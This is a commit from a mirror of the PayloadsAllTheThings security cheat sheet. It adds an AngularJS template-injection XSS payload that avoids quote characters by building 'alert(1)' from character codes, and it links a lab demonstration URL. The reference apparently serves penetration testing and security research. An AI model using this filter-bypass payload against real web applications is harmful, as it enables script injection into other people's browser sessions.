mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-12 14:22:47 +00:00
[Update] Added 1 payload
Added one payload which executes without any usage of single or double quotes. Helpful when you have AngularJS injection but quotes are blocked by application. Working proof of payload here: https://portswigger-labs.net/xss/angularjs.php?type=reflected&csp=0&version=1.6.0&x={{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
This commit is contained in:
parent
d1104d6ce1
commit
0266a7dd67
1 changed files with 8 additions and 0 deletions
|
@ -149,6 +149,14 @@ AngularJS 1.0.1 - 1.1.5 and Vue JS
|
|||
{{constructor.constructor('alert(1)')()}}
|
||||
```
|
||||
|
||||
### Advanced bypassing XSS
|
||||
|
||||
AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter.com/VirenPawar_)
|
||||
|
||||
```javascript
|
||||
{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
|
||||
```
|
||||
|
||||
|
||||
### Blind XSS
|
||||
|
||||
|
|
Loading…
Reference in a new issue